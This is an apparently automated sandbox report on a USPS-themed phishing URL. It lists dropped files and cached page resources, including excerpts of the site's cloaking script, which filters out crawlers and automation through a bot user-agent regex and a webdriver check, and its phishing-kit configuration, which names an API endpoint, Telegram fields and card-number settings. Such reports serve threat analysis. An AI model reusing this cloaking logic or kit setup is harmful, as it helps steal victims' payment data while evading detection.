              Sample URL:https://usps.teamtepei.top/
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Number of analysed new started processes analysed:8
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Detection:MAL
              Classification:mal56.win@16/23@10/7
              EGA Information:Failed
              HCA Information:
              • Successful, ratio: 100%
              • Number of executed functions: 0
              • Number of non-executed functions: 0

              Warnings

              • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
              • Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.185.238, 74.125.133.84, 34.104.35.123, 40.127.169.103, 93.184.221.240, 192.229.221.95, 52.165.164.15, 20.3.187.198, 172.217.16.195
              • Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, clientservices.googleapis.com, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, clients.l.google.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
              • HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
              • Not all processes where analyzed, report is missing behavior information
              • Report size getting too big, too many NtSetInformationFile calls found.
              • VT rate limit hit for: https://usps.teamtepei.top/

              Simulations

              Behavior and APIs

              ⊘No simulations

              Joe Sandbox View / Context

              IPs

              ⊘No context

              Domains

              ⊘No context

              ASNs

              ⊘No context

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              ⊘No context

              Created / dropped Files

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:32:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2677
              Entropy (8bit):3.9810390454131435
              Encrypted:false
              SSDEEP:48:8L2d2OTWoLdRiHCUidAKZdA19ehwiZUklqehjy+3:8aLmoy
              MD5:AD15464D606882773BDF01F14AA29729
              SHA1:A5D8821C00C53B67A536B98550638395D3841CFA
              SHA-256:DC29088DF62BCED8411D74FB462C8521DB90E16BC82B7110AF4AC92A86F82D90
              SHA-512:67D0571EB7DFAD2F605BDA6AEF834A3D4EA74AF815539AF4141C8535C7CBE451CAADBA03318CFCE0C7E4A54DD23EBA5140BF9C3697DFE3B2F36D0376F44BD3E4
              Malicious:false
              Reputation:low
              Preview:L..................F.@.. ...$+.,....!.l.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:32:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2679
              Entropy (8bit):3.999344864087059
              Encrypted:false
              SSDEEP:48:8l2d2OTWoLdRiHCUidAKZdA1weh/iZUkAQkqehYy+2:8wLk9Qpy
              MD5:15CB22C1DCFAA49A3C1AAA821CAC1BE8
              SHA1:8B9DD1F5A4CD62E6321C833249D0C4AD159CFA15
              SHA-256:C94C380E2C79287F7D34B14702109EE3B53AF5D997060324CF23B9EEAA154952
              SHA-512:96BE9A5580BF7C51D7E38EE8DB27392CA72D8CAA45133976BB6D8E749F68AEC1CE41B070EF6E3099454E7E542F16883CFB1E1909B6AC5F308BDC86ADC9490FB8
              Malicious:false
              Reputation:low
              Preview:L..................F.@.. ...$+.,......^.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2693
              Entropy (8bit):4.006478380737357
              Encrypted:false
              SSDEEP:48:8xZ2d2OTWoLdRsHCUidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8x8Len0y
              MD5:7E4FEB87696E57A6ED85C77F1AEE16D2
              SHA1:E4A2AC6365E2B5C1973FC615A77F4A6D5A199076
              SHA-256:C8B18CD977B8FBE986781FBF0BD7C4C9FC95B64096C3D7C03FA656476C7B0F7B
              SHA-512:DE11901A7F208CAD21C8C9FA2C999A42D5A23CF2637F6C9159BE108519F360503AA2D93D114987BBC5A4B7EA6819CEF1531EF11FDCFF5304875617255D13A872
              Malicious:false
              Reputation:low
              Preview:L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:32:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2681
              Entropy (8bit):3.9974498027785073
              Encrypted:false
              SSDEEP:48:8v2d2OTWoLdRiHCUidAKZdA1vehDiZUkwqehMy+R:8GLvuy
              MD5:947EECEEE20D6A98C4548E21B9D57E04
              SHA1:C79A7A4E90BD80BDDC0A3ACDA261F82A57EAB962
              SHA-256:3EE17BA2CDBC4160AEC96DB60919244ECF64500393F148341B5AC5255A7350B6
              SHA-512:636C1F6906B408FCBE03C15B4A62AA1884A534C8AD8295D57ADDCD07E6327D82C42333F54BF51EF2DD5944D4A32D742C7E50C1BF1E4FEA1CF099D35A90885F5C
              Malicious:false
              Reputation:low
              Preview:L..................F.@.. ...$+.,......X.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:32:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2681
              Entropy (8bit):3.982488984523323
              Encrypted:false
              SSDEEP:48:8c2d2OTWoLdRiHCUidAKZdA1hehBiZUk1W1qehCy+C:8VLP9iy
              MD5:DAC35258EB86A31D8C1298924571A161
              SHA1:8C0A690B07487380C15962C65220734D21D50FDE
              SHA-256:26BA4505AEA27B55AB06E78E6F20A1AF5AEEB9855BDF248174604A053171C2EE
              SHA-512:F433A0086A0933C3A629B0A9A81DA6293D4C359BE0B5292F4663747F4BF25D8AD65F63240CFCE6CF4D3ACCB80FCC04F8FD36EA89B7ECC09197ED79762C9092B6
              Malicious:false
              Reputation:low
              Preview:L..................F.@.. ...$+.,....sHf.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon May 27 21:32:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2683
              Entropy (8bit):3.994778190458752
              Encrypted:false
              SSDEEP:48:882d2OTWoLdRiHCUidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb0y+yT+:81LHT/TbxWOvTb0y7T
              MD5:534EC5EB7361D086BB7B6E3969491AAC
              SHA1:A67A3EC6D223C69CFD2C21A3419C5D6D6DFDF1E9
              SHA-256:9FFF9EEC8C6E77762864B16A16FC67B20B2C3353004EDFC1858DD9EB8140D496
              SHA-512:F57092C0DE8709CDE339CF9D30F364CDCF0181623A026C2D798D8845A95A50DDDCE3E8CB6095135E60CDC4D6F378CD98A655E034930B35828083420830CB1927
              Malicious:false
              Reputation:low
              Preview:L..................F.@.. ...$+.,.....wP.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              Chrome Cache Entry: 65

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:Unicode text, UTF-8 text, with very long lines (6275), with CRLF line terminators
              Category:downloaded
              Size (bytes):12206
              Entropy (8bit):5.3386157090435535
              Encrypted:false
              SSDEEP:192:HXINBNRqHkY/miGVqyrq4YUIDk2wcbx9kp+BPysUfUcUSrKfLbsc9CvuG3yudc1F:HOnQnmHVTrnnB2wcbxWp+9ysUfUcUzLT
              MD5:B4344E09201E9800F2C5010CD831C9E8
              SHA1:817A83527DE5618EEE7C773B20C23FF7A6F2E920
              SHA-256:C320FFD0F517DA69D45F68D801194392458FFAA4003E7CA170D33B5146239AD9
              SHA-512:44E701A3B733528B7B5D7158F8ADD86F08F076935D2C0315E7CD7D301E57CCCDD193441DDFAC6A6981832CB707750FFFAD6445B276BA2320662727C7EB7FD47B
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/static/js/ResourceRedConfig.js
              Preview:if (window.navigator.webdriver == false) {.....var token = "274c4bd7790f98846f33fa355b525127";......//.........var strUrl = location.href;...if (strUrl.indexOf("127.0.0") > 0) {....url.serviceURL = "http://127.0.0.1:8099";...} else {....var arrUrl = strUrl.split("//");....var strPage = arrUrl[1];....arrUrl = strPage.split("/");....strPage = arrUrl[0];....arrUrl = strPage.split(".");....if (arrUrl.length == 3) {.....strPage = "https://api." + arrUrl[1] + "." + arrUrl[2];....} else if (arrUrl.length == 2) {.....strPage = "https://api." + arrUrl[0] + "." + arrUrl[1];....}....url.serviceURL = strPage;...}.....if (url.redSwitch > 0) {....if (/Googlebot\/|Googlebot-Mobile|Googlebot-Image|Googlebot-News|Googlebot-Video|AdsBot-Google([^-]|$)|AdsBot-Google-Mobile|Feedfetcher-Google|Mediapartners-Google|Mediapartners \(Googlebot\)|APIs-Google|bingbot|Slurp|[wW]get|LinkedInBot|Python-urllib|python-requests|aiohttp|httpx|libwww-perl|httpunit|nutch|Go-http-client|phpcrawl|msnbot|jyxobot

              Chrome Cache Entry: 66

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:HTML document, ASCII text, with CRLF line terminators
              Category:downloaded
              Size (bytes):555
              Entropy (8bit):4.73524642638354
              Encrypted:false
              SSDEEP:12:TjeRHVIdtklI5rruNGlTF5TF5TF5TF5TF5TFK:neRH68e5TPTPTPTPTPTc
              MD5:565C1EAE816296EB5A8240C33F015484
              SHA1:99A9E36394DAD3E08C38DB95E33469C0B31F2753
              SHA-256:922A7A005A299DAAB272EF3B0C7106716572ECE666C54C187CE6836B32474973
              SHA-512:67E5710ADA9F43699CFBCA159A089B84F85EB1B08E779753481BF19F2AA0F57655F7D82B2AF7C4C7DE14A5523FF6AC7D56FCBAF7831786E9A7C949AEF308BD0A
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/favicon.ico
              Preview:<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.20.1</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

              Chrome Cache Entry: 67

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:ASCII text
              Category:downloaded
              Size (bytes):42736
              Entropy (8bit):5.043116817118876
              Encrypted:false
              SSDEEP:768:iE/e1fRWqcYe4Q2q3jetDArR2d1mP2EduTgeIQN/s:VGoqcY22q3GASme1k
              MD5:1EB8E8E2284670DC214A3E70C25992B8
              SHA1:94ECE417AA560AA8DE906E8F54C0985DA90364CC
              SHA-256:96B65382C74CD6255D4628044C5394F2EF3F0662D7D72B10F1BCEB50B6EE5455
              SHA-512:AE6CCE74FA46A0EE1B00245F7DA885ACE7BD608D96152F3B4D9B2C1E66D53CBF5C1F298D1EB60CDF4A17A14296EDC2FEC63C22A7CF968025911EBE9272F7D49E
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/static/js/axios.js
              Preview:/* axios v0.18.0 | (c) 2018 by Matt Zabriskie */.(function webpackUniversalModuleDefinition(root, factory) {..if(typeof exports === 'object' && typeof module === 'object')...module.exports = factory();..else if(typeof define === 'function' && define.amd)...define([], factory);..else if(typeof exports === 'object')...exports["axios"] = factory();..else...root["axios"] = factory();.})(this, function() {.return /******/ (function(modules) { // webpackBootstrap./******/ .// The module cache./******/ .var installedModules = {};./******/./******/ .// The require function./******/ .function __webpack_require__(moduleId) {./******/./******/ ..// Check if module is in cache./******/ ..if(installedModules[moduleId])./******/ ...return installedModules[moduleId].exports;./******/./******/ ..// Create a new module (and put it into the cache)./******/ ..var module = installedModules[moduleId] = {./******/ ...exports: {},./******/ ...id: moduleId,./******/ ...loaded: false./******/ ..};./******/./**

              Chrome Cache Entry: 68

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:ASCII text, with CRLF line terminators
              Category:downloaded
              Size (bytes):287
              Entropy (8bit):5.093524999446713
              Encrypted:false
              SSDEEP:6:qodyycpvEKQPMKG+BxHsLFibFDvspPXJyTmCJfjLYM9scGvshY:xdgWKu1xHsrpPZyqCRXO0hY
              MD5:F28E667E21FD54D1EE49CD7D7C638731
              SHA1:FC893876D7D0F11A91A9F32682E202DF161776B3
              SHA-256:9AF8D7639981D72E990E0C3C62330AD3FF1B134BE20D3A3FA7EADE83B8F0FE28
              SHA-512:DDDEBD7548C1919190F0FBD5D14E385DD09638DE90640763F4C35D1908F9F356B7E061880FF2ECC5BF49C15A816D8292D8D0A8C31966B20989A99703D17F0EDF
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/ResourceConfig/urlConfig.json
              Preview:var url={...//"serviceURL":"http://127.0.0.1:8099",..."serviceURL":"https://api.informationservicesdepartment.com",..."redSwitch":0,..."Visits":15,..."country":"CN,US",..."notCardNumber":"",..."config":2,..."CPCurl":"https://www.usps.com",..."TGAPI":"",..."TGchat_id":"",..."isTB":"1"..}

              Chrome Cache Entry: 69

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:HTML document, ASCII text, with no line terminators
              Category:downloaded
              Size (bytes):78
              Entropy (8bit):4.216205469457134
              Encrypted:false
              SSDEEP:3:ggvNquKIRARAdu6/GYlGN+xYkAKhIb:3vNfRAJm8eYkmb
              MD5:BEF46D3BB712D23036BE3AA8EBFBA884
              SHA1:41C025E409FF2150939375DCA4A336A997C9F778
              SHA-256:1F40ABCBCB4DEDBC58E0BF815935A87E2D10EF2C2EC65CD347A64AE96402A4B9
              SHA-512:6310E2ADBFE089323F7CE15C84315E124F62CB75A0F4D74599C73E8B7C8B18745137794EB1D9EEB2B8ACC104D3BC91CACFD91651BB7FB553050C40A8F23F7E63
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/
              Preview:<script src="static/js/us.js" type="text/javascript" charset="utf-8"></script>

              Chrome Cache Entry: 70

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:HTML document, ASCII text
              Category:downloaded
              Size (bytes):1087
              Entropy (8bit):5.02765038524452
              Encrypted:false
              SSDEEP:24:tVFhjCGycAP5BzoEhszCfZjisN9b59Qp9sV/:Rh21cEBzoxzCfZzLysR
              MD5:C100894C08E792CF983B55454833A1BB
              SHA1:734F27FFE5B19BF7D215949AD5B1AC5996F3283E
              SHA-256:7C0909A41432F8EFB596FD4D5351DA28976D73AFB16C7E651F7C827EF478882E
              SHA-512:9268F0B9197108D97B233370633FA792D971CA9AD02E74295BE226B3A061161D867D5DAFCA446E6CBAC6391E4F6F0C72D5F84DF9174B1521B793CC3D7DCC6556
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/static/js/us.js
              Preview:document.writeln("<!DOCTYPE html>");.document.writeln("<html>");.document.writeln(".<head>");.document.writeln("..<meta charset=\"utf-8\">");.document.writeln("..<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">");.document.writeln(".</head>");.document.writeln("");.document.writeln(".<body>");.document.writeln("..<div style=\"margin-top: 100%;\">");.document.writeln("...<center>");.document.writeln("....<img src=\"static/images/loading-icon-transparent-background-12.jpg\" alt=\"\" width=\"50\">");.document.writeln("...</center>");.document.writeln("..</div>");.document.writeln(".</body>");.document.writeln(".<script src=\"ResourceConfig/urlConfig.json\" charset=\"utf-8\"></script>");.document.writeln(".<script src=\"static/js/axios.js\" charset=\"utf-8\"></script>");.document.writeln(".<script src=\"static/js/jquery-ui.js\" type=\"text/javascript\" charset=\"utf-8\"></script>");.document.writeln(".<script src=\"static/js/ResourceRedConfig.js\" charset=\"utf-8\

              Chrome Cache Entry: 71

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:ASCII text, with very long lines (1004), with CRLF, LF line terminators
              Category:downloaded
              Size (bytes):1439
              Entropy (8bit):4.866541095391946
              Encrypted:false
              SSDEEP:24:bD/E/6w3MZJB1SD+zItoDPZhXZ5ZkZoTFKfM4/Fpkg9nMKsqEhFNZFNbJrkRHFNR:bDJSGXSiXjMsu//RuNNkxesBz0KKI4c
              MD5:803337A2B884F13875E5CE58B8921F4C
              SHA1:1974CCB1182EF9A6279436EC29E51D7DE739BD38
              SHA-256:1D354FAF02DBB69AE38266B9E5CBD4C45A6F3C215C6F3002A44083480E7FCB03
              SHA-512:A416DD26D4696266EF54992B8916DEA1D32795638DF0D2114E1C420DD38B12AADDB42CB8E75AC88105E66B40B563982011BBC68EFE7789AC003BCEAEA24843BF
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/static/js/jquery-ui.js
              Preview:/*! jQuery UI - v1.13.2 - 2022-07-14.* http://jqueryui.com.* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sorta

              Chrome Cache Entry: 72

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:GIF image data, version 89a, 630 x 637
              Category:dropped
              Size (bytes):81572
              Entropy (8bit):7.95632798928611
              Encrypted:false
              SSDEEP:1536:XuCQRdUM8w28aV8qKc4AeSKhDxxdQ8jorRjF8SX8Bx8c:DSP878W8qKcnrKhFLO8U8/8c
              MD5:9E0373C2B4410C49439DFD822C5FD16E
              SHA1:427F86C03751B7E107FD282BBE32BE18FC2E0898
              SHA-256:05EB745176D79EC27D52D544582483FC4D0F6378C7ED2060BE24DFC4E8990668
              SHA-512:01C9FE5DB1BC9CAF67CF011BBE8C49DE92F91969A576732039443EBBDEF56F601FE5C4B5153459E65C0B9ADA0045061347B66D05105CED3A4CD04BB14C6A7FA6
              Malicious:false
              Reputation:low
              Preview:GIF89av.}..A.....................................................FFF............)))......444......jjj......555+++...........PPP...KKK...ooo......mmm...,,,..................EEE(((...iii......VVV...333.............................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:510F55D678AA11E3B073E299B3377DE0" xmpMM:Docume

              Chrome Cache Entry: 73

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:GIF image data, version 89a, 630 x 637
              Category:downloaded
              Size (bytes):81572
              Entropy (8bit):7.95632798928611
              Encrypted:false
              SSDEEP:1536:XuCQRdUM8w28aV8qKc4AeSKhDxxdQ8jorRjF8SX8Bx8c:DSP878W8qKcnrKhFLO8U8/8c
              MD5:9E0373C2B4410C49439DFD822C5FD16E
              SHA1:427F86C03751B7E107FD282BBE32BE18FC2E0898
              SHA-256:05EB745176D79EC27D52D544582483FC4D0F6378C7ED2060BE24DFC4E8990668
              SHA-512:01C9FE5DB1BC9CAF67CF011BBE8C49DE92F91969A576732039443EBBDEF56F601FE5C4B5153459E65C0B9ADA0045061347B66D05105CED3A4CD04BB14C6A7FA6
              Malicious:false
              Reputation:low
              URL:https://usps.teamtepei.top/static/images/loading-icon-transparent-background-12.jpg
